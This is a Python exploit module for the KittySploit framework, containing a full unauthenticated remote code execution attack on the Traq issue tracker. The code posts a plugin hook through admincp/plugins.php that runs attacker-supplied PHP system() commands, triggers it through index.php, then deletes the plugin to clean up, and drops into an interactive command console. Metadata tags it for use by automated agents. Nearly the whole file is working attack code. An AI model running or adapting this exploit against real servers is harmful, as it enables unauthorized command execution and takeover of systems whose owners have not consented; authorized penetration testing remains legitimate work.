Traq - Unauthenticated Plugin Hook RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Traq unauthenticated plugin hook RCE."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Traq - Unauthenticated Plugin Hook RCE',
        'description': (
            'Exploits Traq by installing an unauthenticated plugin hook that executes '
            'attacker PHP, then cleans up the plugin.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.PHP,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.securityfocus.com/bid/50961'],
        'tags': ['traq', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/traq_plugin_rce_detect'],
            },
        },
    }

    base_path = OptString('/traq', 'Traq base path', required=False)

    def _install(self, code: str) -> None:
        base = str(self.base_path or '').rstrip('/')
        path = f'{base}/admincp/plugins.php?newhook'
        self.http_request(
            method='POST',
            path=path,
            data=f'plugin_id=12323&title=1&execorder=0&hook=template_footer&code={code}',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )

    def _remove(self) -> None:
        base = str(self.base_path or '').rstrip('/')
        self.http_request(
            method='GET',
            path=f'{base}/admincp/plugins.php?remove&plugin=12323',
            allow_redirects=False,
        )

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace("'", "\\'")
        self._install(f"system('{safe}');die;")
        base = str(self.base_path or '').rstrip('/')
        r = self.http_request(method='GET', path=f'{base}/index.php', allow_redirects=False)
        self._remove()
        return (r.text or '') if r else ''

    def handler_execute(self):
        self._install('phpinfo();die;')
        base = str(self.base_path or '').rstrip('/')
        r = self.http_request(method='GET', path=f'{base}/index.php', allow_redirects=False)
        self._remove()
        if not r or '<title>phpinfo()' not in (r.text or ''):
            print_error('Target does not appear vulnerable to Traq plugin RCE')
            return False
        print_success('Traq plugin hook RCE confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()